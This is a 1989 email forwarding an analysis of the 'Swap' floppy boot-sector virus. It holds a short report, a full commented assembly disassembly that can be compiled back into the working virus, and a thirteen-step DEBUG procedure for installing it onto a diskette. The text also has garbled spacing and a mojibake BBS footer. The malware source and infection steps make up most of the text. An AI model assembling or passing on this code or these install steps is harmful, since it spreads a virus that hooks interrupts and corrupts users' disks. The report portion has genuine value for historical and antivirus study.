2022-08-21 09:07:57 +00:00
From: Jnet % "NYYUVAL@WEIZMANN" "Yuval Tal -8-474592" 15 - AUG - 1989 19 : 42 : 53.22
To: RCSTRN@HEITUE51
CC:
Subj: Swap Virus
Received: From WEIZMANN ( VMMAIL ) by HEITUE51 with Jnet id 6788
for RCSTRN@HEITUE51 ; Tue, 15 Aug 89 19:42 N
Received: by WEIZMANN ( Mailer R2.03B ) id 7639 ; Tue, 15 Aug 89 20:34:55 +0300
Date: Tue , 15 Aug 89 20 : 33 : 34 + 0300
From: " Yuval Tal ( 972 ) - 8 - 474592 " < NYYUVAL@WEIZMANN >
Subject: Swap Virus
To: RCSTRN@HEITUE51
hi....
This is the swap virus that i ' ve told u about..
cheers ,
yuval
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| The "Swapping" virus |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| |
| Disassembled on : August , 1989 |
| |
| Disassembled by : Yuval Tal |
| |
| Disassembled using : ASMGEN and DEBUG |
| |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
Import ant note : If you find * ANYTHING * that you think I wrote
incorrectly or is - understood something , please let me know ASAP.
You can reach me :
Bitnet: NYYUVAL@WEIZMANN
InterNet: NYYUVAL % WEIZMANN.BITNET@CUNYVM.CUNY.EDU
This text is di vided into theree parts :
1 ) A report about the Swap Virus.
2 ) A di sassembly of the Swap Virus.
3 ) How to install this virus?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
R E P O R T
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Virus Name.............. : The Swap Virus
Attacks.................: Floppy - di sks only
Virus Detection when.... : June , 1989
at......: Israel
Length of virus......... : 1 . The virus itself is 740 byte s.
2 . 2048 byte s in RAM.
Operating system ( s ) ..... : PC / MS DOS version 2.0 or later
Identifications.........: A ) Boot - sector :
1 ) Bytes from $ 16 A in the boot sector are :
3 1 C0 CD 13 B8 02 02 B9 06 27 BA 00 01 CD 13
9 A 00 01 00 20 E9 XX XX
2 ) The first three byte s in the boot sector are :
JMP 0196 ( This is , if the boot sector was
loaded to CS : 0 ) .
B ) FAT : Track 39 sectors 6 - 7 are marked as bad.
C ) The message :
" The Swapping - Virus. ( C ) June , by the CIA "
is located in byte s 02 B5 - 02 E4 on track 39 ,
sector 7 .
Type of infection....... : Stays in RAM , hooks int $ 8 and int $ 13 .
A di skette is infected when it is inserted into the
drive and ANY command that reads or writes from / to
the di skette is executed. Hard di sks are NOT infected !
Infection trigger....... : The virus starts to work after 10 minutes.
Interrupt hooked........ : $ 8 ( Timer - Tick - Responsible for the letter dropping )
$13 ( Di sk Drive - Infects ! )
Damage..................: Track 39 sectors 6 - 7 will be marked as bad in the
FAT.
Damage trigger.......... : The damage is done whenever a di skette is infected.
Particularities.........: A di skette will be infected only if track 39 sectors
6 - 7 are empty.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
D I S A S S E M B L Y
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
;The first thing I did, inorder to dis-assemble this virus, was un-assemling
;it with the U command in DOS's DEBUG utility. Then, I used a dis-assembler
;called ASMGEN to set all the labels and variables in the .ASM file. I then
;compared the two outputs (from DEBUG and from ASMGEN) and updated the .ASM
;file that no command will be missing, added a few things and this is the
;result:
CODE SEG MENT
ASSUME DS : CODE , CS : CODE
ORG 0000H
START: JMP L0353
DATA_BEGIN EQU THIS BYTE
OldInt8 DW 0 , 0 ;The old interrupt 8: Offset Segment
OldInt13 DW 0 , 0 ;The old interrupt 13: Offset Segment
RandomNumber DW 0 ;The random number
Flag DB 0
Counter DW 0
Counter2 DW 0
Status DB 0
CHAR DB 0 ;The character that is falling
CHARUNDER DB 0 ;The chacterer that we save
ADDRCHAR DW 0 ;The address of the character in mem.
GOT13 DB 0 ;If interrupt 13 is installed
DISKDRIV DB 0 ;The diskette that we are infecting
DISK DW 0 ;The diskette that we are infecting
DATA_END EQU THIS BYTE
; The following 11 command are written into the boot-sector at address CS:196
; At first I worte the commands, but some of the opcodes weren't the same as
; in the virus so I've exchanged them into opcodes for maximum compability.
StartCmds EQU THIS BYTE
DB 031h , 0C0h ;XOR AX,AX
DB 0CDh , 013h ;INT 13h
DB 0B8h , 002h , 002h ;MOV AX,OFFSET 0202h
DB 0B9h , 006h , 027h ;MOV CX,OFFSET 2706h
DB 0BAh , 000h , 001h ;MOV DX,OFFSET 0100h
DB 0BBh , 000h , 020h ;MOV BX,OFFSET 2000h
DB 08Eh , 0C3h ;MOV ES,BX
DB 0BBh , 000h , 000h ;MOV BX,0
DB 0CDh , 013h ;INT 13h
DB 09Ah , 00h , 00h , 00h , 020h ;Call 2000h:0000
DB 0E9h ;JMP
FirstJMP DW 0FE89h ; 003EH (Don't worry,
; it's the right addres
;------------------------------------------
; This is the new interrupt $13 routine
;------------------------------------------
NewInt13:
PUSHF ;
CMP DL , 1h ;Call for drive A: or B:?
JA L0153 ;If not, don't put virus
CMP AH , 2h ;Is it a readblock function
JB L0153 ;(AH=2)? No, AH is smaller so
;don't put virus
CMP AH , 3h ;Is it a writeblock function
JA L0153 ;(AH=3)? No, AH is bigger so
;don't put virus
INC DL ;Set disk drive to fit the user
;(Drive A=1 ; Drive B=2)
MOV CS : Di skDriv , DL ;Save the drive number
DEC DL ;Set disk drive to fit the int.
;(Drive A=0 ; Drive B=1)
L0153: CALL DWORD PTR CS : OldInt13 ;Call the original int 13
JNB L0160 ;If no error, goto end of
;routine. (JNB=JNC)
MOV BYTE PTR CS : Di skDriv , 0 ;If error, DiskDriv=0
L0160: RETF 2 ;Return from routine
;-----------------------------------------------------
; Infect the diskette
;-----------------------------------------------------
L0163: PUSH ES ;
PUSH BP ;Save registers
MOV BP , SP ;
MOV AX ,[ BP + 10h ] ;Let AX=CS from the stack
POP BP ;
CMP AX , 0200h ;Are we called from the system?
JBE L01BB ;If so, don't infect
MOV BX , CS ;Get the program segment
CMP AX , BX ;Is it the same as one from
JNB L01BB ;stack? If so, don't infect
MOV AX , CS ;
MOV ES , AX ;ES=CS
MOV AL , CS : Di skDriv ;AL=DiskDriv
DEC AL ;Set AL to fit int
XOR AH , AH ;AH=0
MOV CS : Di sk , AX ;Save AX
MOV AX , 0201h ;Read one sector
MOV BX , 0400h ;to buffer CS:400
MOV CX , 0003h ;from sector 3, track 0 (FAT)
MOV DX , CS : Di sk ;restore the disk drive
INT 13h ;Read it!!!
JB L01BE ;If error, don't infect
MOV AX , 0301h ;Write one sector
MOV BX , 0400h ;from CS:400
MOV DX , CS : Di sk ;the disk drive number
CMP BYTE PTR CS :[ BX + 13h ], 0 ;is there something on it?
JNZ L01BE ;yes, don't infect
MOV BYTE PTR CS :[ BX + 13h ], 0F7h ;Mark the sector before the
OR BYTE PTR CS :[ BX + 14h ], 0Fh ;last one as bad
INT 13h ;Re-write the FAT!
JB L01BE ;If error, don't infect!
JMP SHORT L01C1 ;Continue...
;Note: I have no idea what is the object of the next NOPs.
NOP ;
L01BB: JMP SHORT L022D ;These JMP are for the don't
NOP ;infect...see above!
L01BE: JMP SHORT L0227 ;
NOP ;
L01C1: MOV AX , 0201h ;Read one sector to the
MOV BX , 0400h ;buffer at CS:400
MOV CX , 0001h ;from sector 1, track 0 (boot
MOV DX , CS : Di sk ;sector) from diskette
INT 13h ;Read it!
JB L0227 ;If error, don't infect
;A boot sector always start with a JMP to a certain place. This virus changes
;this JMP to
MOV BX , 0400h ;Check where does the first
MOV AL , CS :[ BX + 1 ] ;JMP jumps to.
XOR AH , AH ;
SUB AX , 1B3h ;Reduce 1B3h to calculate the
;real JMP address and
MOV CS : FirstJMP , AX ;save it.
MOV WORD PTR CS :[ BX ], 93E9h ;Change the JMP in the loaded
MOV BYTE PTR CS :[ BX + 2 ], 1 ;boot-sector (CS:400). E9=JMP
PUSH SI ;
PUSH DI ;
PUSH DS ;Save registers
MOV AX , CS ;
MOV DS , AX ;DS=CS
;Here, the commands which are added to the boot-sector at the 196th byte are
;copied to the loaded boot-sector at address CS:400.
MOV SI , Offset StartCmds ;SI points to commands to add
;to the boot-sector
MOV DI , 0596h ;The 196th byte from CS:400
MOV CX , 1Fh ;The commands are 1Fh bytes long
CLD ;
REPZ MOVSB ;Copy it!
L0200: POP DS ;
L0201: POP DI ;
L0202: POP SI ;Restore registers
;The loaded and changed boot-sector is re-written to the diskette.
MOV AX , 0301h ;Write one sector from
MOV BX , 0400h ;CS:400 to
MOV CX , 0001h ;sector 1, track 0
MOV DX , CS : Di sk ;disk number..
INT 13h ;Write data!
JB L0227 ;If error, don't infect
;Here, the virus is written to the diskette to the marked bad sectors
MOV AX , 0302h ;Write two sectors from
MOV BX , 0 ;CS:0 (this code!) to
MOV CX , 2706h ;track 27h, sector 6
MOV DX , CS : Di sk ;disk number..
MOV DH , 1h ;side number 1
INT 13h ;Write it!
L0227: MOV BYTE PTR CS : Di skDriv , 0 ;In case of error DiskDriv=0
L022D: POP ES ;Restore register
JMP SHORT L02AF ;finished infecting
NOP ;Again, i don't know what is
;this NOP object
;-------------------------------------------
; The new interrupt 13h is installed here
;-------------------------------------------
L0231: XOR AX , AX ;ES points to lowest segment
MOV ES , AX ;in memory
MOV BX , ES : 4Ch ;
MOV CS : OldInt13 [ 0 ], BX ;Save the int vector (offset)
MOV BX , ES : 4Eh ;
MOV CS : OldInt13 [ 2 ], BX ;Save the int vector (segment)
MOV BX , CS ;BX=CS
MOV ES : 4Eh , BX ;Change the int vector (segment)
MOV BX , Offset NewInt13 ;BX=Offset of the new int 13
MOV ES : 4Ch , BX ;Change the int vector (offset)
MOV BYTE PTR CS : Got13 , 1 ;Mark flag that int 13 is instal
MOV BYTE PTR CS : Status , 0 ;Status=0
JMP L034D ;Continue....
;-----------------------------------------------------
L0267: JMP L0163 ;Infect disk!
;-----------------------------------------------------
;This is the new interrupt $8
;-----------------------------------------------------
L026A: PUSHF ;
CALL DWORD PTR CS : OldInt8 ;Call orginal interrput
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH ES ;Save registers
;The virus picks a random number. It does it by adding AX,BX,CX and DX
;to RandomNumber. The values of AX,BX,CX and DX are undefined because an
;hardware interrupt (look6 commands back) was called.
ADD CS : RandomNumber , AX ;\
ADD CS : RandomNumber , BX ; |_ Create random number
ADD CS : RandomNumber , CX ; |
ADD CS : RandomNumber , DX ;/
;I am not sure what the programmer had done next but my guess is that this
;is the time check. The virus starts to work after 10 minuntes or so.
CMP WORD PTR CS : Counter , 0443h ;Is my counter>=443h?
JNB L029F ;Yes, it is..
INC WORD PTR CS : Counter ;No, incerase it and also
INC WORD PTR CS : Counter2 ;increase another thing (??)
;and then,
JMP L034D ;goto end of routine
L029F: CMP BYTE PTR CS : Got13 , 0 ;
JZ L0231
CMP BYTE PTR CS : Di skDriv , 0 ;Is diskette infected?
JNZ L0267 ;No, infect it!
L02AF: CMP WORD PTR CS : Counter2 , 2A9Dh ;??
JNB L02C0 ;??
INC WORD PTR CS : Counter2 ;??
JMP L034D ;Exit routine
;-----------------------------------------------------------------
; This is the main routine which drops the letter from the screen
;-----------------------------------------------------------------
L02C0: MOV BX , 0B800h ;Make ES point to the screen
MOV ES , BX ;segment (only cga,ega,mcga)
CMP BYTE PTR CS : Status , 0 ;Is status=0?
JNZ L0305 ;No, drop letter
;This is done to make space in the time between the letters fall.
ADD BYTE PTR CS : Flag , 4 ;Flag:=Flag+4
CMP BYTE PTR CS : Flag , 4 ;Is flag=4?
JNB L034D ;If so, don't drop
MOV BX , CS : RandomNumber ;Set up random number..
MOV CL , 5 ;
SHR BX , CL ;first, devide it by 32
SHL BX , 1 ;second, multiply it by 2
MOV AL , ES :[ BX ] ;Save the char we need to drop
CMP AL , 20h ;is it a space( )?
JZ L034D ;if so, don't drop
MOV CS : Ch ar , AL ;Save the char
MOV BYTE PTR CS : Ch arUnder , 20h ;The saved char is now ' '
MOV CS : AddrChar , BX ;Svae the address of the char
MOV BYTE PTR CS : Status , 1 ;Status=1
L0302: JMP SHORT L034D ;Go to exit
NOP ;
L0305: CMP BYTE PTR CS : Status , 2 ;Is Status=2?
JZ L0315 ;If so, continue
INC BYTE PTR CS : Status ;Else, status=status+1
JMP SHORT L034D ;Go to exit
NOP ;
L0315: MOV BYTE PTR CS : Status , 1 ;Status:=1
MOV BX , CS : AddrChar ;Put address of character in BX
MOV AL , CS : Ch arUnder ;and the saved char at AL
MOV ES :[ BX ], AL ;Erase the letter on the screen
ADD BX , 0A0h ;Move pointer to next line
CMP BX , 0FA0h ;Did we past end of screen?
JA L0347 ;If so, the dropping has ended
MOV CS : AddrChar , BX ;Save the new address
MOV AL , ES :[ BX ] ;and the character
MOV CS : Ch arUnder , AL ;and put the dropping letter
MOV AL , CS : Ch ar ;in the current location
MOV ES :[ BX ], AL ;
JMP SHORT L034D ;Go to end of routine
NOP ;
L0347: MOV BYTE PTR CS : Status , 0 ;Status:=0
;
L034D: POP ES ;Resotre registers
POP DX ;
POP CX ;
POP BX ;
POP AX ;
IRET ;Return from interrupt
;-------------------------------------------------------------------
;This part of the virus initilized the TSR
;-------------------------------------------------------------------
L0353: PUSH DS ;
PUSH ES ;Save registers
MOV AX , CS ;
MOV DS , AX ;Make CS=DS
;First thing, clear all the data area
MOV ES , AX ;ES=DS
MOV DI , OFFSET DATA_BEGIN ;Offset of beginning of data
MOV CX , OFFSET DATA_END - OFFSET DATA_BEGIN ;Length of data
CLD ;Go forward
XOR AL , AL ;Store 0 each time (AL=0)
REPZ STOSB ;Repeat so CX times
;Now, make ES point to the lowest segment in the memory
XOR AX , AX ;
MOV ES , AX ;ES point to lowest segment
;The interrupt vectors are written in the lowest segment so:
;
; 1) Save the interrupt 8 segment and offset for later use
; 2) Read amount of memory (0:413h) and steal 2K (the virus will be put here)
MOV BX , ES : 20h ;Get offset of int $8
MOV DS : OldInt8 [ 0 ], BX ;Save int $8 offset
MOV BX , ES : 22h ;Get segment of int $8
MOV DS : OldInt8 [ 2 ], BX ;Save int $8 segment
MOV AX , ES : 413h ;Put amount of mem. in AX,
SUB AX , 2 ;steal 2K and
MOV ES : 413h , AX ;save the new amount of mem.
;Copy the virus to the highest place in the memory:
MOV CL , 6 ;
SHL AX , CL ;Multiply the mem size by 64 and
MOV ES , AX ;make ES point to this segm.
MOV SI , OFFSET START ;SI to begining of this code
MOV DI , SI ;
MOV CX , OFFSET _End - OFFSET Start ;Virus length=_End-Start
CLD ;
REPZ MOVSB ;Copy the virus.
;IMPORTANT: I am not sure that what I am saying in the next paragraph is
; correct. Please let me know if I am wrong
XOR AX , AX ;
MOV DS , AX ;DS point to lowest segment
MOV BX , CS : OldInt8 [ 0 ] ;Get the offset of int $8 and
MOV BYTE PTR ES :[ BX ], 0CFh ;put 0CFh there (I think it is
;to put IRET).
;OK, now all the virus needs to do is to change the interrupt vector so
;it will point the new $8 interrput.
MOV BX , ES ;
CLI ;
MOV DS : 22h , BX ;Change the vector (Segment)
MOV BX , OFFSET L026A ;BX=Offset of new interrupt
MOV DS : 20h , BX ;Change the vector (Offset)
STI ;
POP ES ;Restore registers
POP DS ;
RETF ;Return back
;I guess this is the signature of the virus:
DB 'The Swapping-Virus. (C) June, 1989 by the CIA'
_END EQU THIS BYTE
CODE ENDS
;
END START
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
H O W T O I N S T A L L T H E V I R U S
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1 ) Cut the di sassembly from this text.
2 ) Compile the di sassembly. I used Macro Assembler 5.1 in order to compile and
link it but I think that there won ' t be any trouble using Turbo Assembler.
3 ) Use EXE2BIN or anything else inorded to make it a .COM file.
4 ) Format a di skette with the / S option inorder to put the operation system on
it ( make sure you format it in 9 sectors per track format ) .
5 ) Enter DOS ' s DEBUG debugger and load the .COM file that you have created.
6 ) Type: M 100 400 0 this is done inorded to move the virus from CS : 100 to
CS: 0 .
7 ) Put the di skette you want to infect in drive A.
8 ) Type: W 0 0 2 CC 2 this command will write the virus into sectors 6 - 7 on
track 39 .
9 ) Type: L 0 0 0 1 this will load the boot sector into the memory.
1 0 ) Type: U 0 and remember the number after the JMP in offset 0 .
1 1 ) Type: A 0
JMP 196 this will execute the virus each time the
diskette is booted.
1 2 ) Type: A 196
XOR AX , AX
INT 13
MOV AX , 202
MOV CX , 2706
MOV DX , 100
MOV BX , 2000
MOV ES , BX
MOV BX , 0
INT 13
CALL 2000 : 0000
JMP < the number from CS : 0 >
1 3 ) Now , save the boot sector by typing : W 0 0 0 1
That ' s it ! The virus is now installed on your di skette !
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| BitNet: NYYUVL@WEIZMANN CS Net : NYYUVAL@WEIZMANN.BITNET |
| InterNet: NYYUVAL % WEIZMANN.BITNET@CUNYVM.CUNY.EDU |
| |
| Yuval Tal |
| The Weizmann Institute Of Science "To be of not to be" -- Hamlet |
| Rehovot , Israel "Oo-bee-oo-bee-oo" -- Si natra |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>